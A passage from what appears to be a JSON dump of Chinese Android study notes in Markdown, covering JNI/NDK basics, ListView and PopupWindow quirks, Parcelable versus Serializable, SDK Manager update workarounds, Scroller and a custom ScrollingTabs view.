c!\");//调用NewStringUTF这个方法new出来一个java中的String类型的字符串\n\t\t   return (*env)->NewStringUTF(env,\"hello from c!\" );//这个写法和上面这个注释掉的一样，只是更简洁一点\n\t}\n\t```\t\n\t\n3. 在jni文件夹中编写android.mk文件，在这个文件夹中声明要编译的c文件名以后编译后生成的文件名   \n\t```c\n\tLOCAL_PATH := $(call my-dir)  //将jni所在的目录返回去到LOCAL_PATH\n\t#clear_vars 一个函数 初始化编译工具链的所有的变量.\n\t#特点:清空所有的以LOCAL_开头的变量,但是不会清空LOCAL_PATH的变量\n\t include $(CLEAR_VARS)  \n\t#指定编译后的文件的名称 符合linux系统下makefile的语法. \n\tLOCAL_MODULE    := Hello\n\t#指定编译的源文件的名称 ,编译器非常智能\n\tLOCAL_SRC_FILES := Hello.c\n\t  #指定编译后的文件的类型. 默认编译成动态库 BUILD_SHARED_LIBRARY 扩展名.so .so代码体积很小  \n\t#                            静态库 BUILD_STATIC_LIBRARY 扩展名.a  .a代码体积很大\n\tinclude $(BUILD_SHARED_LIBRARY)\n\t```\n4. cmd进入到当前的工程的文件夹中(也可以进入到当前工程的jni目录中)，然后运行ndk-build工具就能将c文件编译成一个可执行的二进制文件. ->.so，        \n    注意用ndk-build编译之后一定要刷新，不然eclipse会缓存旧的不加载新的进来\n\t![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/ndk_build.png?raw=true)    \n\t\n\t\n5. 刷新工程，就能看到多出了两个文件夹\n\n6. 在java中将要调用的c代码加载到java虚拟机中，通过静态代码块的方式\n\t```java\n\tpublic class DemoActivity extends Activity {\n\t   //1.定义一个native的方法\n\t   public native String helloFromC();\n \n\t   static{\n\t\t\t //5.把要调用的c代码 给加载到java虚拟机里面\n\t\t\tSystem. loadLibrary(\"Hello\");//注意写的是Hello不要加后缀\n\t\t}\n\t}\n\t```\n\t\n7. 调用c代码            \n\t```java\n\tpublic void click(View view){\n\t  //调用c代码\n\t  Toast.makeText(this, helloFromC(), 1).show();\n\t  \n\t}\n\t```\n\n7. 利用jdk的工具javah动态生成c方法名         \n    在上面的调用c中的方法的时候，在c中区实现这个方法的时候的方法名字写起来很复杂，而且容易出去，在java在jdk中提供了一个工具javah，\n\t我们只要在windows的dos窗口cmd到classes目录下去执行javah 包名.类名就能够由class文件动态的生成一个c的h文件，在这个h文件中有该class文件中的native方法的名字       \n    我们只要拷贝这个h文件到自己工程的jni目录中，然后在c文件中引入这个h文件，并拷贝这个h文件中的方法去实现就可以了      \n    ```java\n    #include <stdio.h>//这个<>是引入工具的h文件        \n    #include \"cn_itcast_ndk2_DemoActivity.h\" //对于自己工程中的h文件用\"\"来引入或者引入#include <jni.h>也可以      \n\n\tJNIEXPORT jstring JNICALL Java_cn_itcast_ndk2_DemoActivity_hello_1_1_1from_1_1_1c //拷贝h文件中生成的方法名\n\t  (JNIEnv * env, jobject obj){ \n\t\t  return (*env)->NewStringUTF(env,\"hello_from_c 2!\" );\n\n\t}\t\n    ```\n\t然后就和上面的步骤一样了\n \n\t注意上面的这个javah的用法师在jdk1.6中用的，如果在jdk1.7中就不能这样用了\n\t对于jdk1.7在使用javah的工具的时候就不能够直接进入到classes目录下直接运行命令了，\n\t而是要将sdk中的platforms下的android版本中的android.jar这个路径加载到classPath的环境变量中(麻烦)，或者是直接进入到src目录下用javah包名.类名(简单常用)\n\n8. 如何在c中向logcat中打印日志            \n\t如果想像logcat打印日志就要用到谷歌在ndk中提供的一个工具log.h的头文件\n\t步骤：\n\t1. 在c文件的头上面导入文件，加入下面的这四行代码      \n        ```c\n\t\t#include <android/log.h> //导入log.h\n\t\t#define LOG_TAG \"clog\"  //指定打印到logcat的Tag\n\t\t#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__) //对后面的这个打印日志的方法起一个别名是LOGD\n\t\t#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)\n\t\t```\n\t2. 在android.mk中加载文件            \n        ```\n\t\tLOCAL_PATH := $(call my-dir)\n\t\tinclude $(CLEAR_VARS)\n\n\t\tLOCAL_MODULE    := Hello\n\t\tLOCAL_SRC_FILES := Hello.c\n\t\tLOCAL_LDLIBS += -llog   //新增加这一句，作用是 #把c语言调用的log函数对应的函数库加入到编译的运行时里面 #liblog.so，如果还要加载其他的就在后面继续 -lXXX\n\t\tinclude $(BUILD_SHARED_LIBRARY)\n        ```\n        \n\t3. 在c的代码中直接使用LOGD或者LOGI就能向logcat中输入打印信息\n        ```c\n\t\tJNIEXPORT jint JNICALL Java_cn_itcast_ndk3_DataProvider_add\n\t\t(JNIEnv * env, jobject obj, jint x, jint y){\n\t\t\tLOGI( \"x=%d\",x);\n\t\t\tLOGD( \"y=%d\",y);\n\t\t\tint result = x+y;\n\t\t\tLOGD( \"result=%d\",result);\n\t\t\treturn result;\n\t\t}\n        ```\n\n9. 如何将java的数据传递给c语言         \n    就是java在方法中传值，然后c通过参数得到数据处理后返回和上面的一样\n\n10. 将c中的字符串数组转成java中的string用到jni.h中的一个方法       \n    `jstring (*NewStringUTF)(JNIEnv*, const char*);`\n\n11. C中调用java\n\tc语言回调java的场景.\n\t1. 如果有一个操作已经有方便的java实现,才用c调用java可以避免重复发明一个轮子.\n\t2. 想在c代码里面通知界面更新ui.     \n \n\tC调用java的 思想类似于java中的反射，我们在c中就是通过反射的c实现来找到java中的这个方法，\n    在getMethodID的第二个参数是一个方法的签名，这里我们可以通过jdk提供的一个工具javap，来到classes目录下，\n\t然后用 javap -s 类名.方法名  来得到一个方法的签名，这样就能列出来所有方法的签名\n\n\t```c\n\t/**\n\t * env JNIEnv* java虚拟机环境的指针.\n\t *\n\t *jobject obj ,哪个对象调用的这个native的方法 , obj就代表的是哪个对象\n\t */\n\tJNIEXPORT void JNICALL Java_cn_itcast_ndk4_DataProvider_callmethod1\n\t  (JNIEnv * env, jobject obj){\n\t\t   //思考 java中的反射\n\t\t   //1.找到某一个类的字节码\n\t\t   //   jclass      (*FindClass)(JNIEnv*, const char*);\n\t\t  jclass jclazz = (*env)->FindClass(env,\"cn/itcast/ndk4/DataProvider\" );\n\t\t   if(jclazz==0){\n\t\t\t\tLOGI( \"LOAD CLAZZ ERROR\");\n\t\t  } else{\n\t\t\t\tLOGI( \"LOAD CLAZZ success\" );\n\t\t  }\n\t\t   //2.找到类的字节码里面的方法.\n\t\t   // jmethodID   (*GetMethodID)(JNIEnv*, jclass, const char*, const char*);\n\n\t\t  jmethodID  methodid = (*env)->GetMethodID(env,jclazz,\"helloFromJava\", \"()V\"); //最后一个参数是方法的签名\n\t\t   if(methodid==0){\n\t\t\t\tLOGI( \"LOAD methodid ERROR\" );\n\t\t  } else{\n\t\t\t\tLOGI( \"LOAD methodid success\" );\n\t\t  }\n\n\t\t   //3.调用方法\n\t\t   //void        (*CallVoidMethod)(JNIEnv*, jobject, jmethodID, ...);\n\t\t  (*env)->CallVoidMethod(env,obj,methodid);\n\t}\n\t```\n\n12. 小知识      \n\t1. Android的API提供了SystemClock类，这个类中有一个方法         \n\t\tpublic static void sleep(long ms)，这个方法内部对Thread.sleep进行了封装对异常进行了try catch，平时用Thread.sleep还要自己进行捕捉，\n\t\t所以可以使用SystemColock.sleep()还简单\n\t\t\n\t2. Java中通过java虚拟机来调用c的代码，首先将c的库加载到虚拟机中，但是其实这个c代码并不是运行在java虚拟机中的，而是运行在虚拟机之外的一个单独的进程中\n \n13. 自定义一个View控件(用于表示锅炉的压力大小)       \n    1. 写一个类继承View(View是Android中所有能显示到界面上的东西全的父类)\n    2. 重写onDraw()方法，这个方法是该控件被画到桌面上的时候调用的方法。\n \n14. C++与C代码的不同           \n    C++文件的后缀是cpp         \n    C++与C的不同就是C++提供了模板、继承、抽象等     \n\t```c\n\t//将java字符串转成C++字符串的工具方法\n\tchar*   Jstring2CStr(JNIEnv*   env,   jstring   jstr)\n\t{\n\t\t char*   rtn   =   NULL;\n\t\t jclass   clsstring   =   (env)->FindClass(\"java/lang/String\");\n\t\t jstring   strencode   =   (env)->NewStringUTF(\"GB2312\");\n\t\t jmethodID   mid   =   (env)->GetMethodID(clsstring,   \"getBytes\",   \"(Ljava/lang/String;)[B\");\n\t\t jbyteArray   barr=   (jbyteArray)(env)->CallObjectMethod(jstr,mid,strencode); // String .getByte(\"GB2312\");\n\t\t jsize   alen   =   (env)->GetArrayLength(barr);\n\t\t jbyte*   ba   =   (env)->GetByteArrayElements(barr,JNI_FALSE);\n\t\t if(alen   >   0)\n\t\t {\n\t\t  rtn   =   (char*)malloc(alen+1);         //\"\\0\"\n\t\t  memcpy(rtn,ba,alen);\n\t\t  rtn[alen]=0;\n\t\t }\n\t\t (env)->ReleaseByteArrayElements(barr,ba,0);  //\n\t\t return rtn;\n\t}\n\tJNIEXPORT jstring JNICALL Java_cn_itcast_cpp_DemoActivity_HelloFromC\n\t  (JNIEnv * env, jobject obj){\n\t\t//C代码\n\t\t//return (*env)->NewStringUTF(env,\"haha from c\"); 在C中env代表的是C中结构体的指针的指针\n\t\t//c++代码\n\t\treturn env->NewStringUTF(\"haha from cpp\");//在C++中env代表的是C++中结构体的指针\n\t}\n\t```\n \n15. 对于JNI中的中文乱码问题        \n    老版本的ndk r7之前 r6 r5 r5 crystal r4(编译的时候 语言集 是iso-8859-1)           \n\t在使用老版本ndk 编译出来的so文件的时候 要手动的进行转码.先用iso8859-1解码，再用utf-8编码，在r7(包括)之后的我们只要将C文件的格式改为UTF-8就可以了\n \n16. 文件的格式及格式转换\n    格式转换的原理：                \n    1. 读取一段数据到内存     \n    2. 分析这一段数据\n    3. 修改里面的内容\n    4. 写到文件里面\n \n\t文件的格式：        \n\t文件的存储方式是二进制0101这样        \n\t那么怎么设别文件的类型呢？     \n\t1. 根据扩展名\n\t2. 根据文件的头信息(头信息才是一个文件的真正的格式)，有些文件我们修改了扩展名也可以打开，\n\t\t这是因为打开文件的程序区扫描了文件的头信息，并用头信息中的类型来打开了这个文件\n\n17. C中读取数据    \n\t```c\n\t#include<stdio.h>\n\tmain(){\n\t//用  法: FILE *fopen(char *filename, char *type); //第二个参数是打开的方式 rt就是读文件， rb就是读二进制\n\t   FILE*    fp = fopen(\"1.txt\",\"rt\");\n\t//用  法: int fread (void *ptr, int size, int nitems, FILE *stream); \n\t\t\t\t\t\t\t//ptr要读的数据 放在哪一块内存空间里面.\n\t\t\t\t\t\t\t//size 一次读的数据的长度.\n\t\t\t\t\t\t\t//nitems 读多少次\n\t\t\t\t\t\t\t//stream 从哪个文件里面 读\n\t \n\t  char* buffer = malloc(sizeof(char)*12);\n\t int len=   fread(buffer,sizeof(char),12,fp);\n\tprintf(\"读了%d个char\\n\",len);\n\t   printf(\"str=%s\\n\",buffer);\n\t   fclose(fp);  //关闭掉流\n\t \n\t  system(\"pause\");     \n\t}\n\t```\n\t\n18. C中写文件\n\t```c\n\t#include<stdio.h>\n\tmain(){\n\t//用  法: FILE *fopen(char *filename, char *type);\n\t   FILE*    fp = fopen(\"1.txt\",\"wt\");\n\t//用  法: int fwrite(void *ptr, int size, int nitems, FILE *stream); \n\t\t\t\t\t\t\t//ptr要向文件写的是哪一块内存里面的数据\n\t\t\t\t\t\t\t//size 一次写的数据的长度.\n\t\t\t\t\t\t\t//nitems 写多少次\n\t\t\t\t\t\t\t//stream 写到哪个文件里面\n\t   char* str=\"hello from c\";\n\t   int len = fwrite(str,sizeof(char),12,fp);\n\t   printf(\"写了%d个char\\n\",len);\n\t   fclose(fp);  //关闭掉流\n\t \n\t   system(\"pause\");     \n\t}\n\t``` \n\t\n19. C语言文件操作模式\n\t“rt” 只读打开一个文本文件，只允许读数据       \n\t“wt” 只写打开或建立一个文本文件，只允许写数据        \n\t“at” 追加打开一个文本文件，并在文件末尾写数据      \n\t“rb” 只读打开一个二进制文件，只允许读数据      \n\t“wb” 只写打开或建立一个二进制文件，只允许写数据      \n\t“ab” 追加打开一个二进制文件，并在文件末尾写数据       \n\t“rt+” 读写打开一个文本文件，允许读和写        \n\t“wt+” 读写打开或建立一个文本文件，允许读写        \n\t“at+” 读写打开一个文本文件，允许读，或在文件末追加数据         \n\t“rb+” 读写打开一个二进制文件，允许读和写           \n\t“wb+” 读写打开或建立一个二进制文件，允许读和写            \n\t“ab+” 读写打开一个二进制文件，允许读，或在文件末追加数据        \n\n\t对于文件使用方式有以下几点说明： \n\t文件使用方式由r,w,a,t,b，+六个字符拼成，各字符的含义是： \n\n\tr(read): 读           \n\tw(write): 写         \n\ta(append): 追加               \n\tt(text): 文本文件，可省略不写        \n\tb(banary): 二进制文件        \n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck!"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/ListView专题.md",
    "content": "\nListView专题\n===\n\n1.`ListView`属性：\n---\n\n1. `fadingEdge`属性            \n\t`ListView`上边和下边有黑色的阴影,`android : fadingEdge = \"none\"`后就不会有阴影了\n\t\n2. `scrollbars`属性，隐藏滚动条        \n\t`android : scrollbars = \"none\"`\n\t`setVerticalScrollBarEnabled(true);`\n\t\n3. `fadeScrollbars`属性           \n\t`android : fadeScrollbars = \"true\"`\n\t设置此值为true就可以实现滚动条的自动隐藏和显示。\n\t\n4. `fastScrollEnabled`属性           \n\t快速滚动滑块 \n\t`android : fastScrollEnabled = \"true\"` \n\t`mListView.setFastScrollEnabled(true);`\n\t\n5. `drawSelectorOnTop`属性    \n\tWhen set to true, the selector will be drawn over the selecteditem. Otherwise the selector is drawn behind the selected item. Thedefault value is false.\n\t`android:drawSelectorOnTop = \"false\"` 点击某条记录不放，颜色会在记录的后面，成为背景色，但是记录内容的文字是可见的\n\n2.`ListView.setEmptyView()`没有效果\n---\n\n有时调用`setEmptyView`没有效果，这是因为我们设置的这个`EmptyView`必须和该`ListView`在同一个**布局体系中**    \n如：下面这样的代码有些时候会没有效果\n```java\nView loadingView = View.inflate(getActivity(), R.layout.loading,  null); \nmPullLoadListView.setEmptyView(loadingView);          \nmPullLoadListView.setAdapter(adapter);\n```\n\n- `Fragment`中添加下面代码就可以了。         \n\t```java\n\tView loadingView = View.inflate(getActivity(), R.layout.loading, null);\n\t//添加到同一布局体系中\n\tgetActivity().addContentView(loadingView,\n\t\t\t  new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT ));\n\tmPullLoadListView.setEmptyView(loadingView);\n\tmPullLoadListView.setAdapter(adapter);\n\t```\n\n- `Activity`中\n\t```java\n\tView empty = getLayoutInflater().inflate(R.layout.empty_list_item, null, false);\n\taddContentView(empty, new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT));\n\tmPullLoadListView.setEmptyView(empty);\n\t```\n \n3.`ListView`调用`addHeaderView`后,`onItemClick`时位置不正确\n---\n\n`addHeaderView()`以及`addFooterView()`一定要在调用`setAdapter()`方法之前调用，不然会报错。\n当`ListView`通过`addHeaderView`添后，在o`nItemClick`中的`position`会加上`Header`的个数，所以这时候在获取数据的时候要对位置进行处理。\n\n下面两种方法都可以：    \n\n1. 第一种\n\t```java\n\tpublic void onItemClick(AdapterView <?> parent, View v, int position, long id) {\n\t\t//parent.getAdapter().getItem(position)能得到真正位置的数据\n\t\tdoSomething(parent.getAdapter().getItem(position));\n\t}\n\t```\n\n2. 第二种\n\t```java\n\tmListView.setOnItemClickListener(new OnItemClickListener() {\n\t\t@Override\n\t\tpublic void onItemClick(AdapterView<?> parent, View view, int position, long id) {\n\t\t\t\n\t\t\tint headerViewCount = mListView.getHeaderViewsCount();\n\t\t\tint realPos = position - mListView.getHeaderViewsCount();\n\t\t\tif (realPos < 0)\n\t\t\t\treturn;\n\t\t\t......这样realPos就是真是的位置\n\t\t\t\n\t\t}\n\t});\n\t```\n\n4.`ListView.addHeadrView()`添加`ViewPager`不显示的问题\n---\n\n`addHeaderView()`添加`ViewPager`后不能显示出来的问题：\n```xml\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:orientation=\"vertical\" >\n    <android.support.v4.view.ViewPager\n        android:id=\"@+id/vp_auto_circle\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\" >\n    </android.support.v4.view.ViewPager>\n    <com.ifeng.padvideo.widget.IndicatorTabsView\n        android:id=\"@+id/stv_auto_circle\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\" >\n    </com.ifeng.padvideo.widget.IndicatorTabsView>\n</LinearLayout>\n```\n```java\nmHeaderView = View.inflate(this, R.layout.auto_circle_viewpager, null);\nmAutoCircleViewPager = (ViewPager) mHeaderView.findViewById(R.id.vp_auto_circle);\n//addHeaderView要在ListView的setAdapter前添加            \nmListView.addHeaderView(mHeaderView);\n```\n**注意**ViewPager的布局中宽高不能够使用`wrap_content`可以使用`match_parent`但是上面显示不出来也是由于match_parent的问题，\n如果我们将布局中的`layout_height=\"200dip\"`,这样就能够显示出来`ViewPager`\n \n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Parcelable及Serializable.md",
    "content": "Parcelable及Serializable\n===\n\n`Serializable`的作用是为了保存对象的属性到本地文件、数据库、网络流、`rmi`以方便数据传输，\n当然这种传输可以是程序内的也可以是两个程序间的。而`Parcelable`的设计初衷是因为`Serializable`效率过慢，\n为了在程序内不同组件间以及不同`Android`程序间(`AIDL`)高效的传输数据而设计，这些数据仅在内存中存在，`Parcelable`是通过`IBinder`通信的消息的载体。\n\n`Parcelable`的性能比`Serializable`好，在内存开销方面较小，所以在内存间数据传输时推荐使用`Parcelable`，\n如`activity`间传输数据，而`Serializable`可将数据持久化方便保存，所以在需要保存或网络传输数据时选择\n`Serializable`，因为`android`不同版本`Parcelable`可能不同，所以不推荐使用`Parcelable`进行数据持久化。\n\n区别:    \n- Parcelable is faster than serializable interface\n- Parcelable interface takes more time for implemetation compared to serializable interface\n- serializable interface is easier to implement\n- serializable interface create a lot of temporary objects and cause quite a bit of garbage collection\n- Parcelable array can be pass via Intent in android.\n\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/PopupWindow细节.md",
    "content": "PopupWindow细节\n===\n\n## 简介\n\n`A popup window that can be used to display an arbitrary view. The popup windows is a floating container that appears on top of the current activity.`\n \n1. 显示\n\t```java\n\tView contentView = View.inflate(getApplicationContext(),R.layout.popup_appmanger, null); \n\t//这里最后一个参数是指定是否能够获取焦点，如果为false那么点击弹出来之后就不消失了，但是设置为true之后点击一个条目它弹出来了，\n\t再点击别的条目的时候这个popupWindow窗口没有焦点了就自己消失了\n\tPopupWindow popwindow = new PopupWindow(contentView ,LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT,true);\n\tpopwindow.setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));\n\tint[] location = new int[2];\n\t//得到当前组件的位置\n\tview.getLocationInWindow(location);\n\t//显示popupWindow\n\tpopwindow.showAtLocation(parent,Gravity.LEFT | Gravity.TOP, DensityUtil.dip2px(getApplicationContext(), location[0] + 70),location[1]);\n\t```\n\n2. 取消\n\t```java\n\tif (popwindow != null && popwindow.isShowing()) {\n\t   popwindow.dismiss();\n\t   popwindow = null;\n\t} \n\t```\n\n3. 细节\n\t`PopupWindow`是存在到`Activity`上的，如果`PopupWindow`在显示的时候按退出键的时候该`Activity`已经销毁，但是`PopupWindow`没有销毁，\n\t所以就报错了(`Logcat`有报错信息但是程序不会崩溃)，所以我们在`Activity`的`onDestroy`方法中要判断一下`PopupWindow`是否在显示，如果在显示就取消显示。      \n\t`PopupWindow`默认是没有背景的，如果想让它播放动画就没有效果了，因为没有背景就什么也播放不了，所以我们在用这个`PopupWindow`的时候必须要给它设置一个背景，\n\t通常可以给它设置为透明色,这样再播放动画就有效果了\n\t`popwindow.setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));`\n\t\n## 让`PopupWindow`响应`Back`键后关闭。\n\n- 最简单        \n    在`new`的时候，使用下面的方法：          \n\t```java\n\tnew PopupWindow(view, LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT, true);\n\t```\n\t\n\t当然你也可以手动设置它：      \n\t```java\n\tmPopupWindow.setFocusable(true);\n\tmPopupWindow.setFocusableInTouchMode(true);  \n\t```\n\t\n\t此时实际上还是不能起作用的，必须加入下面这行作用未知的语句才能发挥作用：        \n\t```java\n\tmPopupWindow.setBackgroundDrawable(new BitmapDrawable());\n\t```\n\t设置 `BackgroundDrawable`并不会改变你在配置文件中设置的背景颜色或图像。\n\n- 最通用        \n    首先在布局文件`(*.xml)`中随意选取一个不影响任何操作的`View`，推荐使用最外层的`Layout`。      \n\t然后设置该`Layout`的`Focusable`和`FocusableInTouchMode`都为`true`。\t     \n\t接着回到代码中对该`View`重写`OnKeyListener()`事件了。捕获`KEYCODE_BACK`给对话框`dismiss()`。\n\t\n\t给出一段示例：        \n    ```java\n    private PopupWindow mPopupWindow;\n    private View view;\n    private LinearLayout layMenu;\n     \n    LayoutInflater inflater = (LayoutInflater) main.getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n    view = inflater.inflate(R.layout.popup_main_menu, null, false);\n    layMenu = (LinearLayout) view.findViewById(R.id.layMenu);\n    mPopupWindow = new PopupWindow(view, LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT, true);\n     \n    layMenu.setOnKeyListener(new OnKeyListener() {\n        public boolean onKey(View v, int keyCode, KeyEvent event) {\n            if (event.getAction() == KeyEvent.ACTION_DOWN && keyCode == KeyEvent.KEYCODE_BACK) {\n                mPopupWindow.dismiss();\n\t\t\t}\n     \n            return false;\n        }\n    });\n    ```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/SDK Manager无法更新的问题.md",
    "content": "SDK Manager无法更新的问题\n===\n\n由于伟大的防火墙，大陆访问`Google`服务会无法连接。不过作为程序猿，一般都会科学上网，所以这都不是事。今天这里说明一下普通情况下`SDK Manager`无法更新的问题.\n\n\n- 在更新的时候使用`Http`协议而不是`Https`协议，因为`Https`进行了加密处理，大陆无法审查，所以禁止了，而`Http`协议在过滤的时候发现不是一些禁止内容就没问题了。\n    在`SDK Manager`下`Tools->Options`,选中`Force https://… sources to be fetched using http://…`，强制使用`Http`协议.\n- 修改`hosts`\n   `Windows`在`C:\\WINDOWS\\system32\\drivers\\etc`目录下，`Linux`用户打开`/etc/hosts`文件打开后添加以下内容：\n   ```\n\t203.208.46.146    www.google.com \n\t74.125.113.121    developer.android.com \n\t203.208.46.146    dl.google.com \n\t203.208.46.146    dl-ssl.google.com\n   ```\n   \n\n\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/Scroller简介.md",
    "content": "Scroller简介\n===\n\n在`SlidingMenu`项目中为了实现控件的滑动，需要用到`Scroller`类来实现缓慢的滑动过程，至于有人说`View`类可以直接调用`scrollTo()`方法，\n这里`scrollTo()`方法也能实现移动，但是它的移动是很快一下子就移过去了，就像穿越一样，直接从现实回到了过去，而`Scroller`类能够实现过程的移动。\n可以理解为一步步的走。    \n\n1. 查看Scroller源码\n    ```java\n    public class Scroller  {\n    \t//...\n    }\n    ```\n    发现`Scroller`类并不是`View`的子类，只是一个普通的类，这个类中封装了滚动的操作，记录了滚动的位置以及时间等。     \n该类有两个重要的方法：\n\t- `computeScrollOffset()`:    \n\t    文档的说明为`Call this when you want to know the new location.`查看源码可以发现，如果在移动到指定位置后就会返回false.正在移动的过程中返回true。\n\t- `startScroll()`:     \n\t    该方法的内部实现，并没有具体的移动方法，而是设置了一些移动所需的数据，包括移动持续的时间、开始位置、结束位置等。从而我们可以知道调用`Scroller.startScroll()`方法并没有真正的移动，而是设置了一些数据。\n\n2. `Scroller.startScoll()`是如何与`View`的移动相关联呢？在`View`的源码中：\n    ```java\n    /**\n     * Called by a parent to request that a child update its values for mScrollX\n     * and mScrollY if necessary. This will typically be done if the child is\n     * animating a scroll using a {@link android.widget.Scroller Scroller}\n     * object.\n     */\n    public void computeScroll() {\n    }\n    ```\n    通过注释我们可以看到该方法又父类调用根据滚动的值去更新`View`，在使用`Scroller`的时候通常都要实现该方法。来达到子`View`的滚动效果。      \n\t继续往下跟发现在`draw()`方法中回去调用`computeScroll()`，而`draw()`方法会在父布局调用`drawChild()`的时候使用。\n\n3. 具体关联   \n    通过上面两步大体能得到`Scroller`与`View`的移动要通过`computeScroll()`来完成，但是在究竟如何进行代码实现。     \n    `Scroller.startScroll()`方法被调用后会储存要滚动的起始位置、结束位置、持续时间。所以我们可以在`computeScroll()`方法中去判断一下当前是否已经滚动完成，如果没有滚动完成，\n\t我们就去不断的获取当前`Scroller的位置`，根据这个位置，来把相应的`View`移动到这里。\n    ```java\n    public void computeScroll() {\n    \tif (mScroller.computeScrollOffset()) {\n    \t\t//如果还没有滚动完成，我们就去让当前的View移动到指定位置去\n    \t\tmCenterView.scrollTo(mScroller.getCurrX(), mScroller.getCurrY());\n    \t\t//移动完后，我们应该继续调用computeScoll方法去获取并且移动当前View。所以我们调用invalidate方法去请求重绘，这样父类就会调用computeScroll\n    \t\tpostInvalidate();\n    \t}\n    }\n    ```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/ScrollingTabs.md",
    "content": "ScrollingTabs\n===\n\n自定义ScrollingTabs结合ViewPager实现指引的效果。    \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/ScrollingTabs.png?raw=true)        \n       \n**原理:**         \n由于`ScrollingTabs`即可以点击又可以实现左右滑动，首先想到的就是继承`HorizontalScrollView`来实现滑动，至于点击的实现需要通过对`View`\n设置点击。          \n通过对`ViewPager`设置`OnPageChangeListener`来监听页面变化，从而实现对`ScrollingTabs`的改变，而在每个`Tab`上设置\n点击事件，当点击的时候就去设置`ViewPager`的当前页面\n\n1. 继承HorizontalScrollView，并且添加一个水平方向的线性布局，作为Tab的父布局\n\t```java\n\tpublic class ScrollingTabs extends HorizontalScrollView {\n\n\t\tprivate LinearLayout mContainer;\n\n\t\tpublic ScrollingTabs(Context context, AttributeSet attrs, int defStyle) {\n\t\t\tsuper(context, attrs, defStyle);\n\t\t\tinit(context);\n\t\t}\n\n\t\tpublic ScrollingTabs(Context context, AttributeSet attrs) {\n\t\t\tsuper(context, attrs);\n\t\t\tinit(context);\n\t\t}\n\n\t\tpublic ScrollingTabs(Context context) {\n\t\t\tsuper(context);\n\t\t\tinit(context);\n\t\t}\n\n\t\tprivate void init(Context context) {\n\t\t\tthis.setHorizontalScrollBarEnabled(false);\n\t\t\tthis.setHorizontalFadingEdgeEnabled(false);\n\n\t\t\tmContainer = new LinearLayout(context);\n\t\t\tLinearLayout.LayoutParams params = new LinearLayout.LayoutParams(\n\t\t\t\t\tandroid.view.ViewGroup.LayoutParams.MATCH_PARENT,\n\t\t\t\t\tandroid.view.ViewGroup.LayoutParams.MATCH_PARENT);\n\t\t\tmContainer.setLayoutParams(params);\n\t\t\tmContainer.setOrientation(LinearLayout.HORIZONTAL);\n\n\t\t\taddView(mContainer);\n\t\t}\n\t}\n\t```\n\n2. 提供接口供调用者设置每个Tab的视图。\n\t```java\n\tpublic interface TabAdapter {\n\t\t/**\n\t\t * 每个Tab的视图\n\t\t */\n\t\tpublic View getView(int position);\n\t\t/**\n\t\t * Tab之间的分割线\n\t\t */\n\t\tpublic View getSeparator();\n\t}\n\t```\n\t\n3. 暴露方法，初始化Tab。\n\t```java\n\tpublic void setTabAdapter(TabAdapter adapter) {\n\t\tthis.mTabAdapter = adapter;\n\t\tinitTabView();\n\t}\n\n\tpublic void setViewPager(ViewPager pager) {\n\t\tthis.mViewPager = pager;\n\t\tmViewPager.setOnPageChangeListener(this);\n\t\tinitTabView();\n\t}\n\n\t/**\n\t * 必须等到ViewPager和TabAdapter都设置完成后才可以调用\n\t */\n\tprivate void initTabView() {\n\t\tif (mViewPager != null && mTabAdapter != null) {\n\t\t\t//清空父布局，保险起见\n\t\t\tmContainer.removeAllViews();\n\t\t\t//根据ViewPager的页数去设置Tab\n\t\t\tfor (int i = 0; i < mViewPager.getAdapter().getCount(); i++) {\n\t\t\t\tfinal View tab = mTabAdapter.getView(i);\n\t\t\t\ttab.setTag(i);\n\n\t\t\t\tmContainer.addView(tab);\n\n\t\t\t\t// Segmentation view\n\t\t\t\tif (mTabAdapter.getSeparator() != null\n\t\t\t\t\t\t&& i != mViewPager.getAdapter().getCount() - 1) {\n\t\t\t\t\t//Tabs之间使用分割线\n\t\t\t\t\tisUseSeperator = true;\n\t\t\t\t\tmContainer.addView(mTabAdapter.getSeparator());\n\t\t\t\t}\n\n\t\t\t\t// 对每个Tab设置点击事件\n\t\t\t\ttab.setOnClickListener(new OnClickListener() {\n\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void onClick(View v) {\n\t\t\t\t\t\tint index = (Integer) tab.getTag();\n\t\t\t\t\t\tif (mTabClickListener != null) {\n\t\t\t\t\t\t\t//暴露接口\n\t\t\t\t\t\t\tmTabClickListener.onClick(index);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (mViewPager.getCurrentItem() == index) {\n\t\t\t\t\t\t\t\t//如果当前ViewPager已经显示到了该Tab也，就直接让其选中\n\t\t\t\t\t\t\t\tselectTab(index);\n\t\t\t\t\t\t\t} else 